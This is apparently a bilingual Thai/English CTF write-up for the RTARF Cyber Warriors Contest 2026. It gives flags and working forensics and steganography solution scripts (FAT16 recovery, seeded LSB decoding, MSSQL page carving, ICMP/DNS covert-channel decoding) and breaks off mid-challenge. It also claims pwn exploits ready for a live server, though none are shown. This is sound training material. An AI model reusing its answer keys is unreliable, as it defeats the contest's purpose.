Case No. 049 2026.07.13 Cyber Write-upWrite-up 92 minutes views

RTARF Cyber Warriors Contest 2026 RTARF Cyber Warriors Contest 2026

ทีม MoNoKatari ที่ RTARF Cyber Warriors Contest 2026 - write-up ครบทุกข้อ 8 หมวด (DFIR, Misc, Mobile, Network, OT, Programming, Pwn, Reverse) พร้อมคำสั่งและสคริปต์จริง Full RTARF Cyber Warriors Contest 2026 write-ups across all 8 tracks - DFIR, Misc, Mobile, Network, OT, Programming, Pwn, Reverse - with the real commands and scripts for each flag.

CTF Write-up DFIR Misc Mobile Network OT Programming Pwn Reverse
Contents
  1. Flags summary
  2. Digital Forensics (DFIR)
  3. 1) Ghost Partition - FAT16 sabotage: deleted dir entry + BAD-cluster hiding + single-byte XOR
  4. 2) Pixel Whisper - seeded LSB steganography (Python random.seed(1337) scatter on the Red channel)
  5. 3) Operation Hash - MSSQL header sabotage + Vigenère key in a RAM dump
  6. Miscellaneous
  7. 4) Dead Drop - APT covert-channel key-splitting (memory dump + ICMP timing + DNS subdomains + PNG LSB) into an AES-CBC pickle
  8. 5) Signal in the Noise - layered WAV steganography (RIFF metadata + 19 kHz Morse + left-channel LSB)
  9. 6) Polyglot Inception - PDF/ZIP polyglot + zero-width IV stego + AES-CBC
  10. Mobile Security
  11. 7) Health Check ez - the “flag-looking” string is a decoy AES key; the real flag is a hardcoded ciphertext
  12. 8) Just Need True (C2) - Flutter AOT with a hardcoded AES key/IV; the C2 “result” is only a gate
  13. Network
  14. 9) Dead Decimal - MQTT covert channel hidden in sensor decimal precision
  15. 10) Trust Issues - out-of-spec message type + a lying protocol draft (never trust the spec)
  16. 11) Scattered - flag split across three covert channels (ARP + ICMP + DNS)
  17. OT (Operational Technology / Space Systems)
  18. 12) Orion Solar Array Wing (SAW) - MIL-STD-1553 bus injection / unauthenticated command-word forgery
  19. 13) Orion Telemetry Beacon Forgery - CCSDS/PUS-A HK spoof over a CRC-16/CCITT-FALSE trailer
  20. Programming
  21. 14) Artemis Countdown - Orbital Resonance Check - brute-force pair simulation + md5
  22. 15) Lunar Beacon Sync - DSN Phase Recovery (CRT seed to LCG keystream XOR)
  23. Pwn
  24. 16) Atemis1 Ground Station Telemetry Parser - ret2win via unbounded read() size
  25. 17) Atemis2 Mission Uplink Processor - format-string in the audit logger to GOT overwrite to exec_gate
  26. 18) Atemis3 Secure Operator Console Daemon - heap handler-pointer overwrite (+PIE leak) into a built-in win
  27. Reverse Engineering
  28. 19) Implant License Check - reversible serial check keys the flag’s XOR stream
  29. 20) Hardened Implant (vmcheck) - byte-coupled bytecode VM + ptrace anti-debug guarding an RC4 flag

งาน RTARF Cyber Warriors Contest 2026 ชุดนี้มีโจทย์ให้ครบ 8 หมวด (Digital Forensics, Miscellaneous, Mobile, Network, OT, Programming, Pwn, Reverse Engineering) ผมเขียน write-up ให้ครบทุกข้อที่มีไฟล์โจทย์แจกมา - แก้ได้ 20 ข้อ พร้อม flag จริง คำสั่งและสคริปต์ทั้งหมดคือของที่ใช้จริง ก็อปไปลองตามได้เลย

หมายเหตุเรื่อง flag: flag ส่วนใหญ่เป็นรูปแบบ RTARF{md5(...)} ซึ่งผมคำนวณ md5 จาก input ที่ถอดได้มายืนยันเองแล้วทุกตัว ส่วนหมวด OT กับ Pwn เป็นบริการ remote (nc 10.69.50.3 <port>) ที่ตอนเขียนต่อไม่ได้ ผมจึงสร้าง exploit ให้ครบและถูกต้องจาก binary/spec ที่แจกมา แล้ว mark flag ว่า remote - ตัว exploit เอาไปยิงเซิร์ฟเวอร์จริงได้ทันที ธีมงานเป็นอวกาศ (Artemis/Orion/ATEMIS-NAZA) ปนกับมุกพนัน (poipet) ในหมวด Mobile

The RTARF Cyber Warriors Contest 2026 set spans all 8 tracks (Digital Forensics, Miscellaneous, Mobile, Network, OT, Programming, Pwn, Reverse Engineering). I wrote up every challenge that shipped with a file - 20 solved with real flags. Every command and script here is the real one I used, so you can copy and follow along.

On the flags: most are RTARF{md5(...)}; I independently recomputed the md5 from each recovered input to confirm them. The OT and Pwn tracks are remote services (nc 10.69.50.3 <port>) that were unreachable at write time, so I reconstructed a complete, correct exploit from the provided binary/spec and marked those flags remote - the exploits are drop-in ready against the live server. The event theme is space (Artemis/Orion/ATEMIS-NAZA) with a gambling-scam running joke in the Mobile track.

Flags summary#

#TrackChallengeDifficultyFlag
1Digital ForensicsGhost PartitionEasy (100)RTARF{2f6e9c783a454e597d866dcfdaaae64c}
2Digital ForensicsPixel WhisperMedium (200)RTARF{330a21f37c56f6f47e82a671bb98d748}
3Digital ForensicsOperation HashHard (400)RTARF{f5e764e8cdc194b2ad169e4b0be61b05}
4MiscellaneousDead DropEasy (100)RTARF{97ea1cec5a19d70275e3bb1113cbe0a7}
5MiscellaneousSignal in the NoiseMedium (200)RTARF{2e0bcf47debd567cb28f2b15085fa17f}
6MiscellaneousPolyglot InceptionHard (400)RTARF{ef3ceeb747968b83019754293f435390}
7Mobile SecurityHealth Check ezEasy (100)RTARF{9d7f3254f959fd3ee9a357891911af8a}
8Mobile SecurityJust Need True (C2)Hard (400)RTARF{6dbbb04cd2601028187c3d14420978c1}
9Network SecurityDead DecimalEasy (100)RTARF{b388690b0fc98d0f04bc7e8d8d46a516}
10Network SecurityTrust IssuesMedium (200)RTARF{69c9fe93156080c3c4bfe863e6252d29}
11Network SecurityScatteredHard (400)RTARF{5209d482a9f5881fc74de2e840cdc507}
12OTOrion Solar Array Wing (SAW)Easy (100)(remote - exploit in write-up)
13OTOrion Telemetry Beacon ForgeryMedium (200)(remote - exploit in write-up)
14ProgrammingArtemis Countdown - Orbital Resonance CheckMedium (200)RTARF{b3e3e393c77e35a4a3f3cbd1e429b5dc}
15ProgrammingLunar Beacon Sync - DSN Phase RecoveryHard (400)RTARF{f3f97de67c80480904f958df15b8a57b}
16PwnAtemis1 Ground Station Telemetry ParserEasy (100)(remote - exploit in write-up)
17PwnAtemis2 Mission Uplink ProcessorMedium (200)(remote - exploit in write-up)
18PwnAtemis3 Secure Operator Console DaemonHard (400)(remote - exploit in write-up)
19Reverse EngineeringImplant License CheckMedium (200)RTARF{8cdabe0d9d773571283e835759035768}
20Reverse EngineeringHardened ImplantHard (400)RTARF{0773c0839d2b353892142cbc8f526d5b}

คำอธิบายสัญลักษณ์: flag ใน backtick คือตัวที่กู้มาแล้วยืนยัน offline; (remote - exploit in write-up) คือ exploit ทำครบแต่ flag จริงอยู่บน service nc ที่ตอนนั้นเข้าไม่ได้; (no artifact distributed) คือไม่มีไฟล์โจทย์แจกมา

Legend: flags in backticks were recovered and verified offline; (remote - exploit in write-up) means the exploit is fully built but the live flag is served by an unreachable nc service; (no artifact distributed) means no challenge file was provided.


Digital Forensics (DFIR)#

1) Ghost Partition - FAT16 sabotage: deleted dir entry + BAD-cluster hiding + single-byte XOR#

Flag: RTARF{2f6e9c783a454e597d866dcfdaaae64c} Difficulty / คะแนน: Easy (100) Files / Target: pro_usb_drive.dd (16 MB DOS/MBR boot sector, MSDOS5.0, FAT16)

โจทย์ให้ดิสก์อิมเมจ USB ขนาด 16MB ที่ฟอร์แมตเป็น FAT16 โดยตั้งใจ “ก่อวินาศกรรม” ระบบไฟล์เพื่อกลบหลักฐาน file บอกว่าเป็น DOS/MBR boot sector MSDOS5.0 FAT16 พอลองใช้ fls ของ Sleuth Kit กลับไม่เห็นไฟล์ปกติเลย เห็นแต่ $MBR $FAT1 $FAT2 $OrphanFiles แสดงว่าไฟล์ถูกซ่อนในระดับที่เครื่องมือทั่วไปเข้าไม่ถึง เราจึงต้องแกะโครงสร้าง FAT16 ด้วยมือ

อ่านค่าจาก boot sector: bytes/sector=512, sectors/cluster=4, reserved=4, จำนวน FAT=2, root entries=512, sectors/FAT=32 คำนวณตำแหน่งได้ว่า FAT1 อยู่ที่ 0x800, root directory อยู่ที่ 0x8800 และพื้นที่ data (cluster 2) เริ่มที่ 0xC800

จุดก่อวินาศกรรมมี 3 ชั้น ชั้นแรก: ที่ root dir (0x8800) มี directory entry เดียวขึ้นต้นด้วย 0xE5 นั่นคือ marker ของไฟล์ที่ถูกลบ ชื่อเดิมคือ FLAG.TXT (byte แรกโดนเขียนทับด้วย E5) และที่สำคัญ ฟิลด์ starting cluster กับ file size ถูกล้างเป็นศูนย์หมด ทำให้ตามรอยไฟล์ต่อไม่ได้ ชั้นสอง: ใน FAT (0x800) ค่าคือ f8ff ffff f7ff - cluster 2 (คลัสเตอร์ข้อมูลแรก) ถูกมาร์กเป็น 0xFFF7 ซึ่งแปลว่า “BAD CLUSTER” เครื่องมือทั่วไปจะข้ามคลัสเตอร์เสียนี้ไป มันเลยหายไปจากสายตา ชั้นสาม: ข้อมูลใน cluster 2 ถูกเข้ารหัส XOR ด้วยคีย์ไบต์เดียว 0x55

เราแค่ไปอ่าน raw cluster 2 ที่ 0xC800 ตรงๆ (ไม่สนว่ามันโดนมาร์ก bad) แล้ว brute-force single-byte XOR หา “RTARF” ก็เจอคีย์ 0x55 ทันที ได้ธงออกมา

We’re given a 16MB FAT16 USB image whose file system was deliberately sabotaged to bury the evidence. file reports a DOS/MBR boot sector, MSDOS5.0, FAT16. Running Sleuth Kit’s fls shows no regular files at all - only $MBR $FAT1 $FAT2 $OrphanFiles - so the target is hidden below where ordinary tools look. We parse the FAT16 layout by hand.

From the boot sector: bytes/sector=512, sectors/cluster=4, reserved=4, 2 FATs, root entries=512, sectors/FAT=32. That puts FAT1 at 0x800, the root directory at 0x8800, and the data area (cluster 2) at 0xC800.

The sabotage has three layers. First, the single root-dir entry at 0x8800 starts with 0xE5 - the “deleted file” marker - for a file originally named FLAG.TXT, and its starting-cluster and file-size fields are zeroed, so the file can’t be followed through metadata. Second, the FAT at 0x800 reads f8ff ffff f7ff: cluster 2 (the first data cluster) is marked 0xFFF7 = BAD CLUSTER, so normal tools skip it and it vanishes. Third, the data inside cluster 2 is XOR-encrypted with a single-byte key, 0x55.

We simply read raw cluster 2 at 0xC800 directly (ignoring the bad-cluster mark) and brute-force single-byte XOR looking for “RTARF” - key 0x55 pops out immediately and reveals the flag.

Step 1 - parse the boot sector and compute the FAT16 layout:

file pro_usb_drive.dd
# DOS/MBR boot sector, MSDOS5.0, FAT16, sectors/cluster 4, reserved 4,
# root entries 512, sectors 32768, sectors/FAT 32

python3 - <<'PY'
bps,spc,res,nf,rootent,spf = 512,4,4,2,512,32
print('FAT1 ', hex(res*bps))                      # 0x800
print('ROOT ', hex((res+nf*spf)*bps))             # 0x8800
print('DATA ', hex((res+nf*spf+(rootent*32)//bps)*bps))  # 0xc800
PY

Step 2 - see the sabotage: deleted entry + BAD cluster:

xxd -s 0x8800 -l 32 pro_usb_drive.dd
# 00008800: e54c 4147 2020 2020 5458 5420 0000 0000  .LAG    TXT ....
#   -> 0xE5 = deleted; name "?LAG.TXT" (was FLAG.TXT); cluster & size = 0

xxd -s 0x800 -l 8 pro_usb_drive.dd
# 00000800: f8ff ffff f7ff 0000                      ........
#   -> entry[2] = 0xFFF7 = BAD CLUSTER (cluster 2 hidden from tools)

fls -o 0 pro_usb_drive.dd
# v/v $MBR / $FAT1 / $FAT2 / $OrphanFiles  <- no regular file recoverable

Step 3 - read the hidden cluster raw and brute the XOR key:

# solved with Claude
data = open('pro_usb_drive.dd','rb').read()
c = data[0xc800:0xc800+64]           # cluster 2, ignore the BAD mark
for k in range(256):
    d = bytes(b ^ k for b in c)
    if b'RTARF' in d:
        print(hex(k), d)
# 0x55 b'Flag: RTARF{2f6e9c783a454e597d866dcfdaaae64c}\n...'
# confirm the decode
python3 -c "d=open('pro_usb_drive.dd','rb').read(); \
print(bytes(b^0x55 for b in d[0xc800:0xc800+45]).decode())"
# => Flag: RTARF{2f6e9c783a454e597d866dcfdaaae64c}

=> RTARF{2f6e9c783a454e597d866dcfdaaae64c}#

2) Pixel Whisper - seeded LSB steganography (Python random.seed(1337) scatter on the Red channel)#

Flag: RTARF{330a21f37c56f6f47e82a671bb98d748} Difficulty / คะแนน: Medium (200) Files / Target: noise_s1337.png (512×512 8-bit RGB PNG)

noise_s1337.png - the real challenge image: a 512×512 PNG that looks like pure RGB noise; the flag hides in a seed-1337 scattered LSB of the Red channel

ไฟล์เป็น PNG ขนาด 512×512 ที่ “ดูเป็น noise ล้วน” ทุก bit-plane ของทุกช่องสี - ถ้าลองบันทึกแต่ละ bit-plane ออกมาจะพบว่าถูกบีบอัดแล้วยังใหญ่ ~57KB เท่ากันหมด (entropy สูง) และค่าเฉลี่ยของ LSB ทุกช่อง ≈ 0.5 (0.4999 0.5003 0.4995) แปลว่าทั้งภาพคือ random fill จงใจ ไม่มีรูป/ตัวอักษรซ่อนใน bit-plane ให้มองเห็นตรง ๆ ดังนั้นข้อความจริงต้อง “กระจาย” อยู่ในบางพิกเซลที่ถูกเลือกด้วย PRNG

เบาะแสอยู่ที่ชื่อไฟล์เอง: s1337 = seed 1337 การซ่อนแบบ seeded-LSB ที่พบบ่อยในสาย CTF คือ ใช้ random.seed(1337) แล้ว shuffle ลำดับตำแหน่ง LSB ทั้งหมด จากนั้นเขียนบิตของข้อความลงตำแหน่งแรก ๆ ของลำดับที่สับแล้ว เวลาถอดจึงต้อง “สับตำแหน่งด้วย seed เดียวกัน” แล้วอ่าน LSB ตามลำดับนั้น บิตของข้อความจะกลับมาต่อกันเป็นก้อนที่ต้นสตรีม

binwalk ไม่พบข้อมูลต่อท้าย, chunk เป็น IDAT/IEND ปกติ, strings ไม่เจอ RTARF - ยืนยันว่าเป็น LSB ล้วน ไม่ใช่ appended data

The file is a 512×512 PNG that looks like pure noise. Dumping every bit-plane of every channel shows they all still compress to ~57KB (high entropy), and the mean LSB of each channel is ≈ 0.5 (0.4999 0.5003 0.4995) - the whole image is deliberate random fill. Nothing is visible in any bit-plane, so the real message must be scattered into a PRNG-selected subset of pixels rather than written sequentially.

The clue is the filename: s1337 = seed 1337. The classic seeded-LSB scheme seeds random.seed(1337), shuffles the list of all LSB positions, then writes the message bits into the first positions of that shuffled order. To recover it you shuffle with the same seed and read the LSBs back in that order; the message bits regroup contiguously at the start of the stream.

binwalk found no appended data, chunks are ordinary IDAT/IEND, and strings shows no RTARF - confirming this is pure LSB, not a trailer.

Step 1 - confirm it is pure noise (no trailer, no visible plane):

file noise_s1337.png     # PNG image data, 512 x 512, 8-bit/color RGB, non-interlaced
binwalk noise_s1337.png  # only the PNG + zlib stream, nothing appended
strings -n5 noise_s1337.png | grep -i rtarf   # (nothing)
# solved with Claude - every bit-plane is high-entropy => whole image is random fill
import numpy as np; from PIL import Image
im = np.array(Image.open('noise_s1337.png').convert('RGB'))
print((im & 1).mean((0,1)))   # -> [0.4999 0.5003 0.4995]  perfectly random LSBs

Step 2 - apply the winning seeded scatter (Red channel × seed-1337 shuffle × MSB-first):

# solved with Claude - the winning combo is: Red channel LSBs, Python random.shuffle(seed=1337), MSB-first
import numpy as np, random
from PIL import Image
im  = np.array(Image.open('noise_s1337.png').convert('RGB'))
lsb = (im[:,:,0].reshape(-1) & 1).astype(np.uint8)   # Red channel, row-major
N   = lsb.size                                        # 512*512 = 262144
random.seed(1337)
idx = list(range(N)); random.shuffle(idx)             # deterministic scatter order
bits = lsb[np.array(idx)]
data = np.packbits(bits[:(bits.size//8)*8]).tobytes() # MSB-first
print(data[:46])
# => b'UlRBUkZ7MzMwYTIxZjM3YzU2ZjZm47e82a671bb98d748}'

The recovered stream is a base64 block glued to a plaintext tail. UlRBUkZ7 is exactly RTARF{, so decode the leading base64 (28 chars to 21 bytes) and append the literal remainder up to }.

Step 3 - reconstruct the flag:

# solved with Claude
import base64
msg = b'UlRBUkZ7MzMwYTIxZjM3YzU2ZjZm47e82a671bb98d748}'
msg = msg[:msg.find(b'}')+1]
flag = base64.b64decode(msg[:28]).decode() + msg[28:].decode()
print(flag)
# base64('UlRBUkZ7MzMwYTIxZjM3YzU2ZjZm') = 'RTARF{330a21f37c56f6f'
# + literal tail '47e82a671bb98d748}'
# => RTARF{330a21f37c56f6f47e82a671bb98d748}

สรุปกลไก: เจ้าของโจทย์เติมภาพด้วย noise เต็ม 8 บิตทุกช่อง แล้ว “เขียนทับ” LSB ของช่องแดงเฉพาะพิกเซลที่ถูกสุ่มเลือกด้วย random.seed(1337) + shuffle เมื่อ shuffle ซ้ำด้วย seed เดิมและอ่าน LSB ตามลำดับ ก็ได้ข้อความคืน (คือ base64 ของครึ่งแรกต่อกับ hex ครึ่งหลัง) ถอดออกมาเป็นแฟลก

Mechanism recap: the author filled the image with full 8-bit noise, then overwrote only the Red-channel LSBs of the pixels selected by random.seed(1337) + shuffle. Replaying the same seeded shuffle and reading those LSBs in order returns the payload (a base64 first half concatenated with a hex tail), which decodes to the flag.

# => RTARF{330a21f37c56f6f47e82a671bb98d748}

3) Operation Hash - MSSQL header sabotage + Vigenère key in a RAM dump#

Flag: RTARF{f5e764e8cdc194b2ad169e4b0be61b05} Difficulty / คะแนน: Hard (400) Files / Target: ChallengeDB_Final.mdf (8 MB SQL Server data file), DESKTOP-RBD4NGQ-20260527-084432.dmp (2 GB Windows crash dump)

โจทย์บอกว่ามีการบุกรุกเซิร์ฟเวอร์ฐานข้อมูล แล้วแฮกเกอร์ทำ anti-forensics สองชั้น คือ (1) Database Header Sabotage ทำลาย metadata ในหน้าแรกของไฟล์ .mdf ให้ attach เข้า SQL Server ไม่ได้ และ (2) Volatile Key Storage ซ่อนกุญแจถอดรหัสไว้ในหน่วยความจำ (RAM) แทนที่จะเก็บลงดิสก์ ดังนั้นแผนของเราคือ: อย่าไปพยายามซ่อม/attach ฐานข้อมูลเลย - ให้ carve หน้าเพจ (page) ของ MDF ตรง ๆ เพื่ออ่านตาราง แล้วไปดึงกุญแจจาก memory dump มาถอดรหัส

ทำไม MDF ถึงอ่านตรง ๆ ได้: ไฟล์ MDF ถูกแบ่งเป็นเพจขนาด 8192 ไบต์ ทุกเพจมี header 96 ไบต์ โดยไบต์ที่ offset 1 คือ m_type (1 = data page). แม้ header ของฐานข้อมูลจะถูกทำลาย (สังเกตว่า string ของ physical path ในเพจแรกถูกเขียนทับจนเพี้ยน เช่น ...\MSLSERVER\MSSQL\DATA\ChallengeDB_Final.mdfVER\MSSQL\...) แต่โครงสร้างเพจข้อมูลจริงยังอยู่ครบ เราเลย carve row ออกมาได้โดยไม่ต้องมี SQL Server (ซึ่งเครื่อง Kali ก็ไม่มีอยู่แล้ว)

The brief describes a DB-server intrusion with two anti-forensic layers: (1) Database Header Sabotage - the .mdf file-header metadata is trashed so it won’t attach to SQL Server, and (2) Volatile Key Storage - the decryption key lives only in RAM. So the plan is: don’t repair/attach the database at all - carve the raw 8 KB MDF pages to read the tables, then pull the key out of the memory dump to decrypt.

Why we can read the MDF directly: an MDF is a sequence of 8192-byte pages; each page has a 96-byte header whose byte at offset 1 is m_type (1 = data page). Even though the database header is sabotaged (notice the physical-path string in page 0 is overwritten into garbage like ...\MSLSERVER\MSSQL\DATA\ChallengeDB_Final.mdfVER\MSSQL\...), the individual data pages survive intact, so we can carve rows without a live SQL Server instance (there isn’t one on the box anyway).

Step 1 - fingerprint the files and confirm the sabotage:

file "ChallengeDB_Final.mdf" "DESKTOP-...dmp"
# ChallengeDB_Final.mdf:  data                       <- MDF, magic destroyed
# DESKTOP-...dmp:         MS Windows 64bit crash dump, version 15.19045, ...
xxd ChallengeDB_Final.mdf | head       # page0 header 01 0f .. = m_type 15 (file header page)
strings -e l ChallengeDB_Final.mdf | grep -i mssql   # path string mangled -> header tampered

Step 2 - carve MDF pages and enumerate the decoys:

# solved with Claude - walk 8KB pages, classify by m_type (byte@offset 1)
data=open("ChallengeDB_Final.mdf","rb").read()
from collections import Counter
t=Counter(data[p*8192+1] for p in range(len(data)//8192))
# -> {15:1, 13:1(boot), 8/16/17:GAM/PFS, 1:311(data pages), 2:104(index), 10:50(IAM), 0:544}

# the flags are stored as nvarchar (UTF-16LE)
import re
u16=lambda s: s.encode('utf-16-le')
print(len(re.findall(u16('RTARF{'), data)))   # -> 199 RTARF{...} strings
# pages 354/355/356 hold ~196 random RTARF{<guid>} decoys; page 533 is special

Pages 354–356 are packed with ~196 random RTARF{<32-hex>} values (generated by NEWID()), and page 533 also carries 45 SHA-256 hashes - the “Operation Hash” theme. All of these are noise.

Step 3 - find the real (enciphered) flag on page 533:

# solved with Claude - dump every UTF-16 run at the tail of page 533
pg=data[533*8192:534*8192]
for r in re.findall(rb'(?:[\x20-\x7e]\x00){6,}', pg):
    print(r.decode('utf-16-le'))
# ... 45 sha256 hashes ...
# RTARF{9e8d7c6b5a4f3e2d1c0b9a8f7e6d5c4b}          <- fake
# RTARF{3f2b4c1a8d5e9f0b7c6a5d4e3f2b1a0c}          <- fake
# RTARF{1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p}          <- fake (g,h,i.. not hex)
# UlRBUkZ7dGhpc19pc19ub3RfdGhlX2ZsYWdfa2VlcF9sb29raW5nfQ==
# YIMAIK{w5x764e8tit194u2au169j4s0ue61s05}         <- ENCIPHERED FLAG
import base64
base64.b64decode("UlRBUkZ7dGhpc19pc19ub3RfdGhlX2ZsYWdfa2VlcF9sb29raW5nfQ==")
# => b'RTARF{this_is_not_the_flag_keep_looking}'   -- explicit taunt

ตัว taunt base64 บอกตรง ๆ ว่า “keep looking” - RTARF ตัวอักษรธรรมดาทั้งหมดเป็นเหยื่อล่อ ตัวจริงคือ IMAIK{w5x764e8tit194u2au169j4s0ue61s05} สังเกตว่ามันคงรูปแบบ flag ไว้ (มีปีกกา มีความยาว 32 ตัวข้างใน) แสดงว่าไม่ใช่ AES/binary แต่เป็นการเข้ารหัสระดับตัวอักษร ลองจับคู่ prefix: RTARF เป็น IMAIK คือ R เป็น I, T เป็น M, A เป็น A, R เป็น I, F เป็น K ซึ่งเข้าได้พอดีกับ Vigenère (C = P + K mod 26) เมื่อกุญแจคือ RTARF เอง เหลือแค่ไปยืนยันกุญแจจาก RAM

The base64 taunt literally says “keep looking” - every plaintext RTARF is bait. The real one is IMAIK{w5x764e8tit194u2au169j4s0ue61s05}. It preserves flag shape (braces, 32-char body) so it isn’t AES/binary but a character-level cipher. Match the prefix: RTARF to IMAIK is R to I, T to M, A to A, R to I, F to K, which is exactly Vigenère (C = P + K mod 26) with the key RTARF itself. Now confirm that key in RAM.

Step 4 - recover the Volatile Key from the memory dump:

# targeted grep is far faster than strings-ing a 2GB dump
grep -a -c "Vigen" DESKTOP-...dmp          # -> 18 hits
grep -abo "Vigen" DESKTOP-...dmp | head    # get byte offsets, e.g. 676483267
# solved with Claude - read the PowerShell staging script left in RAM
f=open("DESKTOP-...dmp","rb"); f.seek(676483000); print(f.read(700).decode('latin1'))
# $env:AUTH_HANDLE_V2_3301 = "Z4pP1r_0xDEAD"     <- RED HERRING "Hacker Key"
# $env:AUTH_KEY="RTARF"
# write-host "Vigenere Key 'RTARF' is now in RAM. Ready for capture." -ForegroundColor Yellow
# while($true) { Start-Sleep -Seconds 10 }

The attacker kept the key alive in RAM with $env:AUTH_KEY="RTARF" (and planted a decoy Z4pP1r_0xDEAD). Vigenère key = RTARF.

Step 5 - Vigenère-decrypt and verify by round-trip:

# solved with Claude - standard Vigenere: key advances on letters only,
# digits and braces pass through unchanged (Caesar shift per key letter)
def ks(k): return ord(k.upper())-ord('A')            # R=17 T=19 A=0 R=17 F=5
def dec(ct,key):
    out=[]; ki=0
    for ch in ct:
        if ch.isalpha():
            b=ord('A') if ch.isupper() else ord('a')
            out.append(chr((ord(ch)-b-ks(key[ki%len(key)]))%26+b)); ki+=1
        else: out.append(ch)
    return ''.join(out)

ct="IMAIK{w5x764e8tit194u2au169j4s0ue61s05}"
print(dec(ct,"RTARF"))          # => RTARF{f5e764e8cdc194b2ad169e4b0be61b05}  (body all-hex)

# confirm by re-encrypting the recovered plaintext -> byte-identical ciphertext
def enc(pt,key):
    out=[]; ki=0
    for ch in pt:
        if ch.isalpha():
            b=ord('A') if ch.isupper() else ord('a')
            out.append(chr((ord(ch)-b+ks(key[ki%len(key)]))%26+b)); ki+=1
        else: out.append(ch)
    return ''.join(out)
assert enc("RTARF{f5e764e8cdc194b2ad169e4b0be61b05}","RTARF")==ct   # True

ผลลัพธ์ออกมาเป็น 32 ตัว hex สะอาด และเมื่อเอา plaintext ไปเข้ารหัสกลับด้วยกุญแจ RTARF ได้ ciphertext ตรงกับที่เก็บใน DB เป๊ะ ยืนยันว่าถูกต้อง

The output is a clean 32-hex body, and re-encrypting that plaintext with key RTARF reproduces the exact ciphertext stored in the DB - a full round-trip confirmation.

# => RTARF{f5e764e8cdc194b2ad169e4b0be61b05}

Miscellaneous#

4) Dead Drop - APT covert-channel key-splitting (memory dump + ICMP timing + DNS subdomains + PNG LSB) into an AES-CBC pickle#

Flag: RTARF{97ea1cec5a19d70275e3bb1113cbe0a7} Difficulty / คะแนน: Easy (100) Files / Target: memory.dmp, traffic.pcap, desktop.png

desktop.png - the challenge&#x27;s fake terminal screenshot; the 16-byte AES IV is embedded in the pixel LSB stream from flat offset 1000

โจทย์จำลองกลุ่ม APT ที่ “แตกกุญแจ” AES-128 ออกเป็น 3 ส่วนแล้วซ่อนคนละช่องทาง เพื่อไม่ให้ใครเจอครบในไฟล์เดียว งานเราคือประกอบกุญแจ 16 ไบต์ + IV กลับมาแล้วถอดรหัส payload ที่เป็น Python pickle

โครงของโจทย์อ่านได้จาก strings memory.dmp ทันที มี marker ชัดเจน: KEY_FRAGMENT_1:, PID:1337, PAYLOAD: และ hint ในตัว pickle เขียนว่า combine key_part1+2+3, IV from PNG LSB ดังนั้นกุญแจ = ส่วนที่1(6B)+ส่วนที่2(5B)+ส่วนที่3(5B) และ IV มาจาก LSB ของ PNG แยกกัน

ทำไมมันหลุด: ทุกช่องทางเป็น covert channel ที่ “อ่านย้อนได้” ทั้งหมด - ไบต์ดิบวางต่อจาก marker ในดัมป์, ระยะเวลาห่างของ ICMP เข้ารหัสเป็นบิต, ชื่อ subdomain ของ DNS พก hex เป็นชิ้น ๆ พร้อม index, และ IV ฝังใน LSB ของภาพ พอรวมครบก็ AES-CBC ถอดได้ตรง ๆ

The challenge emulates an APT that splits one AES-128 key into three parts and hides each in a different covert channel so no single file reveals the whole key. Our job is to reassemble the 16-byte key plus the IV and decrypt a payload that is a Python pickle.

The whole structure falls out of strings memory.dmp: clear markers KEY_FRAGMENT_1:, PID:1337, PAYLOAD:, and the pickle even carries the hint combine key_part1+2+3, IV from PNG LSB. So key = part1(6B)+part2(5B)+part3(5B) and the IV comes separately from the PNG’s LSB plane.

Why it leaks: every channel is a reversible covert channel - raw bytes right after a marker in the dump, ICMP inter-packet gaps encoding bits, DNS subdomains carrying indexed hex chunks, and the IV in the image LSBs. Once all four are recovered, AES-CBC decrypts straight to the flag.

Step 1 - recon markers and carve fragment 1 + the pickle from the ~54 KB dump:

strings -n4 memory.dmp | grep -iE '1337|31337|KEY_FRAGMENT|PAYLOAD|combine'
# KEY_FRAGMENT_1:
# PID:1337
# PAYLOAD:
# C&combine key_part1+2+3, IV from PNG LSB
xxd -s 0xbf0 -l 0x20 memory.dmp
# 00000bf0: 0000 0000 4b45 595f 4652 4147 4d45 4e54  ....KEY_FRAGMENT
# 00000c00: 5f31 3a0e 7273 900c 6e00 0000 0000 0000  _1:.rs..n.......  (marker at 0xbf4, frag1 = 0e7273900c6e)
# 00000c00: ... _1:0e 7273 900c 6e00  -> 6 raw bytes: 0e 72 73 90 0c 6e

The payload at PAYLOAD: is a protocol-5 pickle. Inspect it with pickletools.dis FIRST - it is a pure data dict (no REDUCE/GLOBAL), so unpickling is safe:

# solved with Claude
import pickletools
mem=open("memory.dmp","rb").read()
pk=mem[mem.find(b"PAYLOAD:")+8:]
pkl=pk[:pk.find(b"u.")+2]
pickletools.dis(pkl)
#   } EMPTY_DICT ; keys/vals are all SHORT_BINBYTES/strings, ends 'u.' STOP
#   -> {b'data': <48-byte ciphertext>, b'type': b'AES-CBC',
#      b'hint': b'combine key_part1+2+3, IV from PNG LSB'}

Step 2 - fragment 2 from the ICMP packet-timing covert channel:

The 10.0.0.1 -> 10.0.0.2 echo flow has 41 packets (40 inter-packet gaps). Gaps cluster at ~5 ms and ~25 ms - a binary channel. Threshold at 15 ms (>15ms = 1, else 0), pack MSB-first into 5 bytes. (The 10.0.0.3 -> 10.0.0.4 flow with uniform 100 ms gaps is a decoy.)

tshark -r traffic.pcap -Y 'icmp && ip.src==10.0.0.1' -T fields -e frame.time_relative
# 0.000 0.026 0.031 0.036 0.061 0.066 0.071 0.096 ...  (deltas ~5ms / ~25ms)
# solved with Claude
from scapy.all import rdpcap, ICMP, IP
t=sorted(float(p.time) for p in rdpcap("traffic.pcap")
         if p.haslayer(ICMP) and p[IP].src=="10.0.0.1" and p[IP].dst=="10.0.0.2")
bits="".join("1" if t[k+1]-t[k]>0.015 else "0" for k in range(len(t)-1))
# bits = 1001001111000111010110100010000011100110  (40 bits)
frag2=bytes(int(bits[k:k+8],2) for k in range(0,40,8))   # 93c75a20e6

Step 3 - fragment 3 from the DNS-subdomain covert channel:

tshark -r traffic.pcap -Y 'dns.flags.response==0' -T fields -e dns.qry.name
# a668.00.secret.dead-drop.local
# 4a60.01.secret.dead-drop.local
# 87.02.secret.dead-drop.local
# www.google.com  (x15 decoys)

Each query’s first label is a hex chunk, the second label is its order index. Sort by index and concatenate: a668+4a60+87 = a6684a6087 (5 bytes). So the full key is:

key = 0e7273900c6e | 93c75a20e6 | a6684a6087 = 0e7273900c6e93c75a20e6a6684a6087

Step 4 - IV from the PNG LSB (and decrypt):

